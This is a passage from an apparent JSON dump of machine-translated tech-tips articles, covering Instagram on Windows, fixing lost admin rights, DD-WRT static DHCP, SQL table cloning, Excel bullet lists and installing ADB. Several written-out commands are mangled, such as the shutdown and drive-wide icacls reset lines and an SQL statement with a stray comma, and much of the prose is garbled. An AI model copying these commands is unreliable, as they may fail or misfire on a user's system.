Winch"},{"body":"Unlike Instagram mobile version, Instagram version of Windows 10 is quite limited and incomplete features like on the mobile version. In the article below, TipsMake.com will guide you how to use Instagram on your Windows 10 computer effectively and quickly.\n  1. Use Instagram Web mobile interface Sometimes you want to try out the Instagram experience on mobile browsers, let's try it with the Device Toolbar feature of Chrome and Coc Coc.\nStep 1: You access Instagram with Chrome browser, Coc Coc. Then, right-click on the website and select Check .\n  Step 2: Find and click the Togggle Device Toolbar icon (1) =\u0026gt; select the emulation device (2) =\u0026gt; select the desired device name (3) . Once completed, turn off that tool panel and try F5 again to experience the mobile version you want.\n  2. Use the Instagram app on the Windows Store Step 1: Go to the Start menu (1) =\u0026gt; Microsoft Store (2) .\n  Step 2: Search for the keyword Instagram (1) =\u0026gt; select the Instagram app (2) and proceed to download and install.\n  Step 3: After the installation is complete, enter your account (1) and Log In (2) .\n  Step 4: You start using Instagram named Windows 10 only. On Windows 10 version, the main functions are divided into sections as shown below. Inside:\nSection (1) : In order from left to right ( Main page, Message, Discovery, Activity, Personal page )\nItem (2) : Search is used to search other Instagram accounts\nItem (3) includes interactive buttons such as Like, Comment, Share\nItem (4) is used to save the article\n  3. Using Instagram for Android through the emulator If you want to use Instagram fully, then we only have to use an Android emulator like BlueStack, NoxApp. You just need to download any Android emulator, log in and download Instagram from Play Store and enjoy.\n  With Instagram Android version, you can access photos and upload photos quickly with shortcuts on the screen.\u0026nbsp;\n  With the ways to use Instagram on Windows 10, you can choose the way that's best for you to use or change in different ways to refresh your experience. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqqutKtmKCqkaJ6sLqMmmSwoZ6ZvLi%2FjGpnZpufor22wMSr\n","link":"/post/how-to-use-instagram-on-a-windows-10-computer/","section":"post","tags":null,"title":"How to use Instagram on a Windows 10 computer"},{"body":"For some reason, you lose Admin rights on your Windows 10 or Windows 8.1 computer, every time you open an application on the screen you receive an error message. So how to restore the lost Admin rights, please refer to the following article of Network Administrator.\n1. Fix the error of losing Admin rights To fix lost Admin permissions on Windows 10 / 8.1, follow the steps below:\n1. Press Windows + Q key combination , then enter user accounts in the Search frame and then click on the User account icon from the list of search results.\n  On the User Account window, find and click Manage another account .\n  In the next window, click the option Add a user account.\n  \n2. Next, create a Local account\nClick the Add an account option , then select Sign in without a Microsoft account (Not recommended) =\u0026gt; Local account .\nFill in the details on the screen to create a Local account. Once completed, click Finish .\n  3. Press Windows + Q key combination, then enter cmd in the Search box. At the list of search results, click Command Prompt to open the Comamnd Prompt window.\nEnter the following command line into the Command Prompt window:\nshutdown / r / o\n  4. Follow the steps above to boot your system and Safe Mode. After accessing Safe Mode, press the Windows + Q key combination, enter the user account into the Search box, then select User Account from the search results list.\nNow you will have 2 accounts on the system, an Admin account you created earlier and a Local account that you created in step 2. Your task is to choose a Local account.\n  On the next window click on the Change the account type link .\n  Next change the account status from Standard to Administrator by clicking the Change Account Type option.\n  \nIn this way, the Local account you just created will change to an Admin account. Finally restart your computer, then log in with your account under Admin above.\nFrom now on you will use this Admin account, so you can back up data from the old Admin account.\nFinally, proceed to delete your old Admin account and switch to your Microsoft account to synchronize your settings with the new Admin account.\nFrom now on your system will work normally with 'Full' Admin rights in your hands.\n2. Some other solutions In addition to the above, you can apply some more ways below:\n1. First run the antivirus software and programs to remove the virus on your system. In some cases Malware may block (block) your Admin rights.\n2. Use Clean Boot to fix the problem and determine what is the \"culprit\" causing the problem.\n3. If it still doesn't fix the error, you can use Windows DVD or Partition Recovery to boot into Recovery mode and run System Restore to restore your computer to one point.\n4. In case if the error is caused by the computer domain, check your Admin system to apply any new limits?\n5. This Policy setting can be used by Domain Administrators to ensure that only authorized Users are allowed to become group members:\nComputer Configuration / Windows Settings / Security Settings / Restricted Groups\nAlternatively, you can use the iCacls command to fix the problem. This command is used to edit security descriptors and permissions for NTFS file systems.\nPress the Shift key and the Power button to restart your Windows computer. At this point, the boot options will appear on the Advanced Menu. Here click Troubleshooting =\u0026gt; Command Prompt .\nOn the Command Prompt window, enter the following command line to reset the permissions.\ncd / dc: icacls * / T / Q / C / RESET\nIf you still can't fix the error, you might consider using the System Restore or Refresh or Reset options.\nRefer to some of the following articles: How to activate Admin account on Windows 7, 8, and 10? Activate and configure Remote Desktop for Administration on Windows Server 2003 Activate Standard User to run the program under Admin without a password Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kubC%2FyKeeZpmUoravec%2Beqaaho6i2sLrSZqanZaeeu6W71qxkamhdbX5uwMeiqmaho2KubrLIsQ%3D%3D\n","link":"/post/losing-admin-permissions-on-windows-10-8-1-this-is-a-fix/","section":"post","tags":null,"title":"Losing Admin permissions on Windows 10 / 8.1, this is a fix"},{"body":"During the launch of the two most anticipated flagship models in 2019: Galaxy Note10 and Note10 + in August, the Korean manufacturer announced that it would replace the homegrown Samsung Cloud platform that is being integrated. on its current devices with the Microsoft OneDrive cloud platform in new Galaxy devices.\nAs planned, Samsung is currently testing OneDrive for Galaxy Note10 and Note10 + devices first in two fastidious markets: Europe and the United States before deciding to make changes around the world. gender or not.\nBy replacing Samsung Cloud with Microsoft OneDrive, the Gallery app on Galaxy phones will now come with its own OneDrive, allowing you to sync photos and videos across devices in a very convenient way, fast. Once the media files have been backed up, users can easily access them for playback or download via the OneDrive web platform from any mobile device, PC and Mac, all you need is a connection. Internet.\n  According to the roadmap, next year, Microsoft will continue to announce a new online photo management experience through OneDrive, allowing photos / videos to be displayed faster and more visually than ever, while also allowing you to navigate the store. Data stored by convenient timeline bar.\nUser data plans will remain the same after transferring from Samsung Cloud to OneDrive. For Galaxy phone users who are using OneDrive for the first time, Microsoft will offer a free 5GB plan. If you need more storage, you can buy it directly from Microsoft.\nOneDrive is one of the most popular and used cloud storage platforms in the world today. This service allows users to sync or access data from the web browser as well as applications on smartphones anytime, anywhere, just need an internet connection. The arrival of OneDrive on Galaxy smartphones will give Samsung phone users an additional quality data storage option, alongside Android's default Google Drive app.\nncG1vNJzZmismaXArq3KnmWcp51kwKK50q6loGWUmr2tu9isZKedp2K8r7HDq6CvnV2axbGx0aKcp5uVYrOwvoygmKWZqK56r7vTnmhpZZGjsW66zq2camhd\n","link":"/post/samsung-deploys-new-onedrive-experience-for-galaxy-note10-and-note10/","section":"post","tags":null,"title":"Samsung deploys new OneDrive experience for Galaxy Note10 and Note10 +"},{"body":"Although simple video-watching software is available on Windows, it will not have as many convenient functions as specialized software. In this article, TipsMake.com will give you 10 names of the best video viewing software in 2020.\n  1. Movies \u0026amp; TV Movies \u0026amp; TV is a video player tool preinstalled in your Windows 10 operating system. Movies \u0026amp; TV allows you to watch videos in basic format and if you do not have high demand for watching videos, watching movies, you can always use this default software of the system.\nThe advantage of Movies \u0026amp; TV is that you do not need to install time-consuming and its volume is very light. To be able to open Movies \u0026amp; TV on Windows 10, you can search for it using the Windows Search function with the keyword Movie \u0026amp; TV .\n  Or find it in the Play section in Start .\n  Movie \u0026amp; TV's interface is quite simple and easy to use, you can open the videos on your computer to watch.\n  Visit the website: VLC Media Player\nhttps://www.videolan.org/\n  VLC Media Player is an open source, free multimedia entertainment program that can read all existing media and video formats.\nVLC Media Player is compatible with current operating systems such as Windows, Linux, Mac OS X, Unix, iOS, Android . Install reputation without worrying about spyware, ads or user investigations.\n3. Pot Player Visit the website: Pot Player\nhttps://potplayer.daum.net/\n  Pot Player is a video player software with extremely beautiful interface easy to understand how to use, you can manipulate quickly and achieve the blinking effect as you want.\nPot Player has many great video management features, like creating folders or creating temporary playlists. It also allows users to preview video footage by taking photos on the video timeline of the video.\nVisit the website: Media Player Classic\nhttps://mpc-hc.org/\n  Media Player Classic - Home Cinema is an extremely compact software for watching and playing multimedia for your computer. If you do not have a high configuration and plenty of memory, then Media Player Classic - Home Cinema can be a great choice if you want to use simple video playback functions.\nMedia Player Classic - Home Cinema has been translated into 42 languages, written in C ++ and supports GPU decoding.\n5. 5KPlayer Visit website: 5KPlayer\nhttps://www.5kplayer.com/\n  5KPlayer is a new multimedia software that is a combination of UHD video player (MKV) that supports up to 4K quality, music players, AirPlay \u0026amp; DLNA and also the ability to download online videos from Youtube, Dailymotion , Vimeo .\n5KPlayer allows you to create playlists and create libraries of videos so you can systematically watch and watch videos.\n6. GOM Player Visit website: GOM Player\nhttps://www.gomlab.com/download/\n  GOM Player is a video player software quite useful for users. Integrated 14 languages ​​in the world and read almost all video formats and music files available.\nGOM Player helps you search for codecs or detect a corrupted file being downloaded, GOM Player's subtitle library is also very rich due to data collected over ten years.\n7. DivX Player Visit the website: DivX Player\nhttps://www.divx.com/tag/free-download/\n  DivX Player is a great software for watching videos on computers. It helps you listen to music while watching movies and manage your music video playlists intelligently.\nDivX Player can meet your entertainment needs at many levels.\n8. RealPlayer Visit the website: RealPlayer\nhttps://www.real.com/realplayer\n  RealPlayer is a video player software that helps you enjoy great movies and music. With the multi-function, you can download online videos to watch offline, control who can access your videos with a secure PIN.\nYou can share your videos via ReafCloud with a storage capacity of up to 365GB.\n9. SMPlayer Visit website: SMPlayer\nhttps://www.smplayer.info/\n  SMPlayer is a free video player for Windows operating systems. It can meet all your entertainment needs so you can watch entertaining or study videos. SMPlayer can read most current video formats and it provides an easy to use interface, advanced audio filters. You can also adjust the latency of the subtitles to watch movies more accurately with SMPlayer.\n10. Parma Video Player Visit website: Parma Video Player\nhttps://www.microsoft.com/vi-vn/p/parma-video-player/9nblggh4qg1r\n  Parma Video Player is Microsoft's video player with a very simple interface but contains many powerful features. Not only can you play videos offline, but you can also use Parma Video Player to watch online videos just by getting the URL link.\nParma Video Player provides the ability to search and list music videos and movie playlists on the device, you can also view the list based on the available folders in the device.\nThank you for reading and following our article Top 10 best video viewing software 2020 by TipsMake. The article on the top 10 video viewing software is over, wish you can choose a software like that.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZpqVqMFuwsidnKhlpp6yuLXNoGSsp5apxKK%2BxGZpaWpg\n","link":"/post/top-10-best-video-viewing-software-2020/","section":"post","tags":null,"title":"Top 10 best video viewing software 2020"},{"body":"In the process of watching YouTube videos, sometimes you find videos that you find very \"interesting\", such as English language videos, business experience sharing videos . and you want to replay YouTube videos when watch it all.\n7 ways to download videos on Youtube quickly and simply How to watch blocked YouTube videos or restrict viewers without signing in or proxying How to play live video on YouTube? YouTube has unbuttoned the video playback repeatedly, so you can't review YouTube videos automatically when it plays out. But with this automatic YouTube video playback, you can replay YouTube videos as easily and quickly as the previous YouTube video playback button. Please follow us.\nAutomatically playback YouTube videos when watching them all Open YouTube videos that need to be replayed automatically, then right-click the screen, select Loop or Loop ( when next to the word Loop is ticked )\n  If you have \"bored\" this video and do not want to watch it again just right click again and then uncheck the Loop / Loop is done.\nHow to play YouTube videos repeatedly First, open the video you want to watch and then add repeater after the word www.youtuberepeater\n  For example, the original url address of the video is https://www.youtube.com/watch?v=wPME4uRf_sE , the new url address will be https://www.youtuberepeat.com/watch?v=wPME4uRf_sE\nAt this point, you will be transferred to the new page interface and will be replayed automatically every time you finish viewing.\n  It is also possible for some reason that on your YouTube video there is no Loop loop. Or do not want to add the operation to enter the repeater text behind, then you can use the installation utility on your browser.\nReplay YouTube videos with Looper for Youtube Visit the link below to install Looper for Youtube utility: Download Looper for Youtube utility Click Add to Chrome to start installing the utility.   Click Add gadget to install Looper for Youtube in Chrome browser.   Immediately after successful installation, you will see the utility icon appear at the end of the address bar and notice as shown below.   You open the video you want to watch, below the video will appear a Loop icon . We just need to click it to repeat the video.   In addition, the Looper for Youtbe utility also adds customizations to YouTube videos, such as repeating videos as many times, or just repeating the video you specify. Just below, we will see the area to customize further when playing back the video.\nLoop for : tick the box and enter the number of times (times) you want the video to play back next to. Loop a portion : select the time on the video you want to repeat . We will fill the video start time from , the video end time is big . Youtube videos will only automatically repeat the time period we selected.   Play YouTube videos repeatedly with YouTurn Like Looper for Youtube, the YouTurn utility on Chrome browser will also adjust to playback videos on Youtube.\nDownload the YouTurn utility Select Add to Chrome to install the add-on browser.   Perform the installation operations and you will see the YouTurn icon icon appear at the end of the address bar.   Open the YouTube video you want to repeat\u0026gt; click on the YouTurn circle icon on the toolbar. The icon will turn green, with Repeat On message indicating that the YouTube video will automatically play back.   To cancel the playback of the Youtube video itself , click the YouTurn icon again and the Repeat Off message will appear.   Above are 4 ways to help you play back videos on YouTube automatically, use the available options on the video, add the word repeater or use 2 installation utilities on the browser. Depending on the purpose of use and the need for video playback of each person, we choose how to repeat the Youtube video accordingly.\nReplay videos thanks to the website First, on your computer or smartphone, visit the website: listenonrepeat.com\n  After clicking on the website above, the system will take you to a website similar to YouTube, where you just need to type the name of your favorite song in the search box above and Enter .\n  Once done, the website will show you many different results related to the keywords you have just found. Now you just need to click on Video and enjoy your favorite music.\n  The video will automatically repeat until you turn off the browser. Very useful in case you are addicted to a song, or want to \"plow view\" for example.\n  See more:\nHow to censor comments on your YouTube channel? 4 easy steps to extract music and audio from YouTube videos Trick to watch YouTube videos on VLC Media Player Hope the article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51kf27DwLKqZqyfYr%2BmvMuasGaqlaW5osWMsqaurKWXsm7CyJ2cqKtdlsK1u8yaq6KbkaG5ug%3D%3D\n","link":"/post/2-ways-to-replay-replay-youtube-videos-automatically/","section":"post","tags":null,"title":"2 ways to replay, replay YouTube videos automatically"},{"body":"CLONE TABLE in SQL is used in situations where you only want to make an exact copy or copy of an existing table to check or perform something without affecting the original table.\nIf you are using MySQL RDBMS, you can do this by following the steps below:\nUse the SHOW CREATE TABLE command to receive a CREATE TABLE statement that identifies the source table, index, and all related items. Modify the above statement and change the table name of the Clone table and execute that command. This way you will have an exact copy table. Optionally, if you need the table content to be copied, use the INSERT INTO or SELECT statement. Examples illustrating how to use CLONE TABLE For example, create a replication table for TEST_TBL with the following structure:\nStep 1: Create a complete structured table\nSQL\u0026gt; SHOW CREATE TABLE TUTORIALS_TBL G; *************************** 1. row *************************** Table: TUTORIALS_TBL Create Table: CREATE TABLE 'TUTORIALS_TBL' ( 'tutorial_id' int(11) NOT NULL auto_increment, 'tutorial_title' varchar(100) NOT NULL default '', 'tutorial_author' varchar(40) NOT NULL default '', 'submission_date' date default NULL, PRIMARY KEY ('tutorial_id'), UNIQUE KEY 'AUTHOR_INDEX' ('tutorial_author') ) TYPE = MyISAM 1 row in set (0.00 sec)  Step 2: Rename this table and create another table.\nSQL\u0026gt; CREATE TABLE `CLONE_TBL` ( -\u0026gt; 'tutorial_id' int(11) NOT NULL auto_increment, -\u0026gt; 'tutorial_title' varchar(100) NOT NULL default '', -\u0026gt; 'tutorial_author' varchar(40) NOT NULL default '', -\u0026gt; 'submission_date' date default NULL, -\u0026gt; PRIMARY KEY (`tutorial_id'), -\u0026gt; UNIQUE KEY 'AUTHOR_INDEX' ('tutorial_author') -\u0026gt; ) TYPE = MyISAM; Query OK, 0 rows affected (1.80 sec)  Step 3: After doing step 2, if you want to copy data from the old table, use the INSERT INTO . SELECT statement.\nSQL\u0026gt; INSERT INTO CLONE_TBL (tutorial_id, -\u0026gt; tutorial_title, -\u0026gt; tutorial_author, -\u0026gt; submission_date) -\u0026gt; SELECT tutorial_id,tutorial_title, -\u0026gt; tutorial_author,submission_date, -\u0026gt; FROM TUTORIALS_TBL; Query OK, 3 rows affected (0.07 sec) Records: 3 Duplicates: 0 Warnings: 0  Finally, you will have a clone table as you like.\nIn the next section, we will learn about Copy Processing - DUPLICATE in SQL , remember to follow up.\nPrevious article: TEMPORARY TABLE temporary table in SQL\nNext lesson: Handling copy - HANDLING DUPLICATE in SQL\nncG1vNJzZmismaXArq3KnmWcp51ksK27zZ5krZmSobJutc1mqqqk\n","link":"/post/clone-table-in-sql/","section":"post","tags":null,"title":"CLONE TABLE in SQL"},{"body":"TipsMake.com - DHCP will help us easily set up access via network in the office, home, port switch - Port forwarding . In the article below, we will guide you how Do DHCP Static configuration on the DD-WRT router device, and combine and take advantage of these advantages.\n  Some problems with DHCP and Port Forward: Technically, we can configure the router to manually assign IP addresses to all computers in the system, switching the port to access the router device from the external environment. However, the only problem many people encounter is that the internal IP address does not change. If the router changes the IP address assigned to a computer by DHCP , then we will have to reconfigure the Port Forwarding function. Many programs can skip this step by requesting port Plug and Play Universal Plug and Play (UPnP) , but in fact it is difficult to meet this:\n  Currently, there are many router models that can remember which IP address parameters have been assigned to a specific computer, so if there is a case of disconnection, the system will still maintain the address. That IP. Normally, the router reset process erases the entire cache - cache, and starts assigning IP addresses to the system first. Many routers currently do not have this feature built-in, and immediately assign a new IP address. And every time the IP address changes, we have to reconfigure the router from the beginning, so it will affect the general model during use.\nWe have already introduced some outstanding features and features of DD-WRT in the previous articles, and this time we will continue to talk about static DHCP, also known as DHCP restrictions. During the configuration of the router with DHCP, the user can enter the MAC address of the network card on the computer, then enter the assigned IP address. And DD-WRT will automatically take care of the rest of the process.\nFind MAC address: The real thing to do in this step is to find the MAC address on the computer's network card. Specifically, you click the network card icon under the system tray and select the Status section as the example below:\n  Click the Details . button::\n  The actual MAC address will be listed as Physical Address , specifically here 90-00-4E-1A-88-7B . In Mac OS X , users can check in System Settings and Network , and if they choose in different tabs, there will be parameters related to Physical ID, Ethernet ID, MAC Address. . For Ubuntu users, they can type the ifconfig command in Terminal .\nDD-WRT and Static DHCP: Now, when we have a list of MAC addresses of each computer, open the browser, access the main control part of the router DD-WRT. Click the Setup button, and under Basic Setup make sure that DHCP is enabled:\n  Scroll down to the bottom, Network Address Server Settings (DHCP) and start marking the first IP address, the maximum number of users. And the configuration user address will be in this range, as the example here is 192.168.1.100 - 192.168.1.114:\n  Select the Services tab at the top:\n  And under the DHCP Server section, we will see the Static Leases list as shown below. Click the Add button to add a new record:\n  Then, enter the MAC address of each computer, name each computer to make it easy to distinguish and assign the corresponding new IP address to the system. In essence, we cannot assign the same IP address to two different MAC addresses. If your DD-WRT version adds Client Lease Time , fill in 24 hours , or 1440 minutes . Then, click the Save and Apply Settings button to apply these changes. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksLC6xaKerqqRqbawuoysq5qsmZh6pbTCqWSsnaSptq%2Bz0mamp2WUmcSzwIyrpq6slac%3D\n","link":"/post/configuration-static-dhcp-settings-on-dd-wrt-router/","section":"post","tags":null,"title":"Configuration, static DHCP settings on DD-WRT router"},{"body":"We live in an era of online communication.It is undeniable that these online TV viewing applications have contributed to people's lives becoming more modern and convenient, in which one of the most prominent names is Netflix. Hundreds of millions of users worldwide.However, this convenience also entails some consequences, for example, the cost of data Internet packages is constantly increasing.Therefore, it is very important that you know and calculate the amount of data Netflix actually uses.\nQuality Netflix videos and calculations On Netflix's Account Preferences page, it gives users some basic estimates of the amount of data consumed by video quality: 'low' (240p), 'average' (480p) and 'high' (720p, 1080p and 4K).However, the numbers offered by this provider are still vague, especially for high quality videos (ranging from 720p to 4K depending on your TV) these numbers are really brings huge differences in resolution as well as data usage.\n  Therefore, a number of experiments have been conducted to give users more specific numbers.\nWhat is the amount of Netflix data consumed for each of the different video quality options? To check Netflix data usage, some videos were used for testing.These videos are called Netflix Test Templates (Test Patterns on Netflix), they are categorized and sorted by resolution, number of frames per second (fps) and display the current bit rate.These numbers will be displayed in the upper right corner of the screen.\n  After that, the bit rate will be closely monitored after each video resolution change, while converting kbps (Kilobits / sec) to Gigabyte per hour.And here are the specific numbers that the researchers have obtained, shown in the following tables:\n23,976 fps   \nMost of the videos on Netflix play at 23,976 frames per second, so the table above applies to most current Netflix videos.However, Netflix also offers users the experience of 59,940 frames per second video.Let's look at the numbers in the table below as well:\n59,940 fps   \nAnd now, compare this ratio with Netflix's estimated rate mentioned above, you will see that the above two tables are a bit more detailed, but the numbers that Netflix offers are also possible. acceptable.The maximum number of video resolutions you can watch on Netflix is ​​16000 kbps, which is equivalent to the 4K Ultra HD standard and the data consumption will fall to about 7GB per hour.So if you are concerned that Netflix is ​​using more data than required, you can rest assured that it is not.The figures proposed by the firm are very close to the results of the researchers' experiments.\nHow to optimize resolution and data consumption level. The problem is, if you set the 'high' resolution for your videos, Netflix will play at the highest resolution that your TV can support.Assuming you are using 4K TV, a huge amount of data will be consumed, up to 7GB per hour!If you want to use less data, Netflix basically suggests you move down to the \"average\" video quality setting, which is not very satisfactory.\nHowever, there is a trick to solving this problem.Suppose you don't want to watch videos in 4K format because it consumes too much data and you realize that 1080p video is a more reasonable choice because it still has a high resolution, but the data usage drops to about half.To do this, you can change the resolution of the streaming box, accept only 1080p format for videos from Netflix and other online video services.\nHere are some of the most popular streaming boxes and how to set up the necessary settings:\nRoku: Settings\u0026gt; Display Type Fire TV: Settings\u0026gt; Display \u0026amp; Sounds\u0026gt; Display\u0026gt; Video Resolution Apple TV: Settings\u0026gt; Video and Audio\u0026gt; Resolution Android TV: Settings\u0026gt; Display \u0026amp; Sound\u0026gt; Resolution In addition, some streaming boxes may not allow you to reduce the video format to 720p unless you are using a 720p TV (such as NVIDIA SHIELD).\n  Wish you success in choosing and balancing the amount of data used for online communication services to be reasonable with your financial ability.\nSee more:\nInstructions for downloading movies from Netflix in Windows 10 How to view hidden categories on Netflix? How to control Netflix, YouTube, VLC on PC by phone ncG1vNJzZmismaXArq3KnmWcp51ktbDDjKasnKBdma61rYyiqmamlamzrbXXZpqopqOquqq6xg%3D%3D\n","link":"/post/how-much-data-is-netflix-consuming/","section":"post","tags":null,"title":"How much data is Netflix consuming?"},{"body":" This wikiHow teaches you how to import an XML file into a Microsoft Excel workbook using Windows or macOS. Open Microsoft Excel. You'll find Excel in the 'Microsoft Office' group in the All Apps area of the Windows menu.\nMethod 2of 2:\nmacOS  Open Microsoft Excel. You'll find it in the Applications folder. Excel for macOS cannot import XML data from another source, but it will allow you to open XML spreadsheet files.[2]   Click the File menu. It's at the top of the screen.[3]\n  Click Open. This opens a Finder window.\n  Select the XML file. To do this, browse to the folder where it's contained, then click the file name once.\n  Click OK. The contents of the XML file will appear.\n  Click the File menu.\n  Click Save As.\n  Type a name for the file.\n  Select .CSV from the 'file type' drop-down menu.\n  Click Save. The XML file is now saved as a .CSV on your Mac.\n  Samuel Daniel Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8OmvtNmr6akXam8brHXnJyl\n","link":"/post/how-to-convert-xml-to-excel/","section":"post","tags":null,"title":"How to Convert XML to Excel"},{"body":"Creating bullet lists (notation lists) in Excel is not as simple as in Word because there is no bullet button on the ribbon in Excel. Therefore, this article will show you 7 ways to create bullet list in Excel.\nHow to create bullet list in Excel 1. Create bullet list using shortcut keys 2. Create bullet list using Symbol dialog box 3. Create bullet form list using custom format 4. Create bulleted list in a cell 5. Create bullet list by copying from Word 6. Create bullet list using Excel function 7. Create bullet list using special font 1. Create bullet list using shortcut keys The easiest way to create bullet lists is to use a shortcut to enter bullet characters in the box. Select the cell you want to enter and press Alt + 7 or Alt + 0149 to enter the bullet character in black or Alt + 9 to enter the white bullet character. When typing a number in this shortcut, you must use the numeric keypad on the keyboard.\nIf your laptop doesn't have a numeric keypad, you can turn on Num Lock to use the numeric keypad. However, not every laptop has a Num Lock key. If this key is present, it may be on one of the function keys. You can press Shift + Num Lock or Fn + Num Lock . You will see these numbers on certain letters and numbers on the right of the keyboard.\nIf there is no numeric keypad, you can refer to some ways to create a numeric keypad on the computer in the article No number pad? No problem! Here's how to create a numeric keypad on Windows or switch to the following in this article to create bullet lists without using the numeric keypad.\n  2. Create bullet list using Symbol dialog box If you don't have a real numeric keypad, you can use the Symbol dialog box. On the Insert tab, access Symbols\u0026gt; Symbol on the Symbols section.\n  In the Font section, you will see that the Calibri font is automatically selected, but you can choose another font if you want. Select the icon you want to use in the bullet list and click Insert , then click Close .\n  If you are having trouble finding bullet signs for a list, see some bullet symbols or use below. On the Symbol dialog box, first select Unicode from the Font drop-down list, then type the code in the image below into the Character code box.\n  Enter one or more spaces after the bullet character in the box. Then, copy and paste other bullet symbols into the boxes and enter text.\n  To quickly enter bullet symbols in other cells, simply enter the first cell and then hover over the right corner of the box, you will see a cross. Hold and drag the cross to the cells you want to enter the bullet character to copy and paste the character automatically into the other cells.\n  3. Create bullet form list using custom format If you need to create a long bullet list, you can use custom number format to save time. If there is no numeric keypad, first insert a bullet character in an unused box and copy it.\nSelect the cells you want to use, which may be empty or text available. Then, right click on the selected cell and select Format Cells or press Ctrl + 1 .\n  On the Number tab, select Custom in the Category section. In the Type box, paste the bullet you copied earlier and type one or more spaces and @ characters. Click OK , you will see the bullet characters appear on the selected cells.\n  Now when you want to add a bullet, select those cells and press Ctrl + 1 to open the Format Cells dialog box, select Custom in Category on the Number tab and select the new Type you created.\n  4. Create bulleted list in a cell To enter the bullet list in a cell, double-click the box and use the keyboard shortcut or the Symbol dialog box to insert the character. Type the number of spacing you want and type the first bullet text.\nPress Alt + Enter to move to the next line in the box, then enter another bullet with one or more spaces and the second bullet text. Repeat the process for each bullet, press Alt + Enter at the end of each line, then press Enter when done.\n  5. Create bullet list by copying from Word If you've created a bullet list on Microsoft Word or other word processor like LibreOffice Writer and want to add it to a spreadsheet, select the list in the program and press Ctrl + C to copy.\nTo insert the entire list into a single cell, double-click the cell and press Ctrl + V. However, you will see there is no space between the bullet character and the text in each line, leaving the mouse pointer where you want to add a space and pressing the appropriate distance.\n  To insert each item in this list into separate cells, select the cell you want to insert the first item and press Ctrl + V , then adjust the distance in each cell.\n  6. Create bullet list using Excel function To add bullet characters to multiple cells at once, you can use the Excel function. The CHAR function takes a character code and displays the character corresponding to that code in the box. Here, we will use the code in Windows (the character code in the Mac will be different but use the same CHAR function).\nTo enter a black round bullet character in many Excel cells, select the cells and click on the Formula tab, then type the following function and press Ctrl + Enter .\n=CHAR(149)    All selected cells are filled in with round black bullet characters. When using this method, you will type text for each bullet item in its right column, like the image below.\n  You can create a bullet list in a column using the CHAR function. This method is useful when there is a list of items in another column but not bulleted.\nSelect the column containing the first item with the appropriate bullet character, then enter the following formula, replacing C3 with your corresponding box.\n = CHAR (149) \u0026amp; \"\" \u0026amp; C3  This formula joins a black round bullet character, a space and the value of the reference cell (in this case, C3) together. You can enter more than one space between double quotation marks if desired.\n  To copy the formula for the remaining cells, select the cell you just entered the formula to and move to the lower right corner of the cell to appear the cross, thereby holding down and dragging the cells you want to copy. When you release the mouse button, the formula will be copied for cells with reference to the appropriate cells for each row.\nYou cannot delete items from another column because they are still referenced in the formula, but this can be done when converting formulas to values.\n  To convert the formula into values, select the formula column and press Ctrl + C to copy. Click the down arrow of the Paste button in the Clipboard section of the Home tab, then click the first button in the Paste Values section. This will replace the formulas in the corresponding cells to values.\n  7. Create bullet list using special font Windows has some special fonts that are just icons like Windings and Webdings that can be used to create bullet lists. To insert a bullet character, first select the cells you want to use, then in the Font section of the Home tab, change the font to Wingdings font.\nSelect the first cell you want to enter and type the \" l\" to enter the big black bullet character, the ' w ' to enter a small black round bullet character and some other letters as shown in the picture below.\n  To use this method, you must place bullet characters in individual boxes according to the column on the left and the items on the right because these are using symbol font. Then change the width of these bullet columns appropriately.\n  You can select another bullet symbol type using the CHAR function with the Wingdings font. The image below is the CHAR function values ​​for many different types of bullet characters.\nWhen using the CHAR function with the Wingdings font, you must enter the CHAR function in the cell without using the character font, then convert the font of that cell to Wingdings.\n  I wish you all success!\nSee more:\nHow to create a drop list in Excel 2016 How to create an Excel table, insert a table in Excel Summary of expensive shortcuts in Microsoft Excel ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYybrKWklal6rbXSrWSipl2axaSxyw%3D%3D\n","link":"/post/how-to-create-bullet-list-in-excel/","section":"post","tags":null,"title":"How to create bullet list in Excel"},{"body":"Once you have used Android, at least one (or several times) you have heard the term ADB, Fastboot on this platform. These are the two tools written by Google for the Android platform, if you are a programmer or an advanced platform, you will know it. What about normal users?\n  \nADB \u0026amp; Fastboot are essentially two command-line applications running from Command line ( Windows ) or Terminal ( Mac, Linux, . ) to order your Android device in low-level form ( system ). We temporarily understand them so easily and I will go into deeper lessons about ADB, as well as Fastboot for readers to follow.\nBack to how to install these two tools. Essentially they are in the Android SDK, but the size of the SDK is very large so you may be afraid to download. So if you only need ADB \u0026amp; Fastboot to Root the device, install Recovery, . with the command (manual), then here's how to download the installation.\nHow to install ADB on Windows Desktop 1. Download the ADB zip file for Windows.\n2. Extract the directory on drive C (C: platform-tools).\n  3. Open the ADB Platform-Tools folder . Next, open a terminal window in the folder where ADB and fastboot are installed. On Windows, users can right-click and click Open command window here . (Some Windows 10 users can see \" PowerShell\", instead of 'Command prompt').\n  \n4. Now connect your phone to Windows PC with a USB cable.\n5. Then enter the following command in the Command prompt window to check the connection between the PC and the phone.\nadb devices  The device serial number will appear in the command window.\n  6. Also on the phone screen, users will see a pop-up screen to allow or deny USB Debugging access . Grant the USB Debugging access permission when prompted (and click the Always allow from this computer checkbox if you never want to see this again).\n  All operations are complete! Users can now run any ADB command on their device from a Windows PC.\nHow to install ADB on MAC 1. Download the ADB zip file for MacOS.\n2. Now extract the folder on the desktop.\n3. Open Terminal on the MAC.\n4. Now to browse to the extracted ADB folder, enter the following command on the Terminal window.\ncd /path/to/extracted/folder/  On the MAC used for testing, this command looks like the following;\ncd /Users/Sid/Desktop/platform-tools/  5. Now connect your phone to the MAC using a USB cable.\n6. Now enter the following command in the Terminal window to check the connection between the MAC and the phone.\nadb devices  7. Now on the device, you will see the ' Allow USB debugging ' prompt. Please allow connection.\n  Congratulations! You have successfully installed ADB on MAC OS.\nHow to install ADB on Linux 1. Download the ADB zip file for Linux.\n2. Now extract the folder on the Linux desktop.\n3. Open the Terminal application on the Linux machine and take the next steps to install ADB.\n4. Now to browse to the extracted ADB folder, enter the following command on the Terminal window.\ncd /path/to/extracted/folder/  5. Now connect your Android device to Linux using a USB cable.\n6. Now enter the following command in the Terminal window to check the connection between Linux and Android 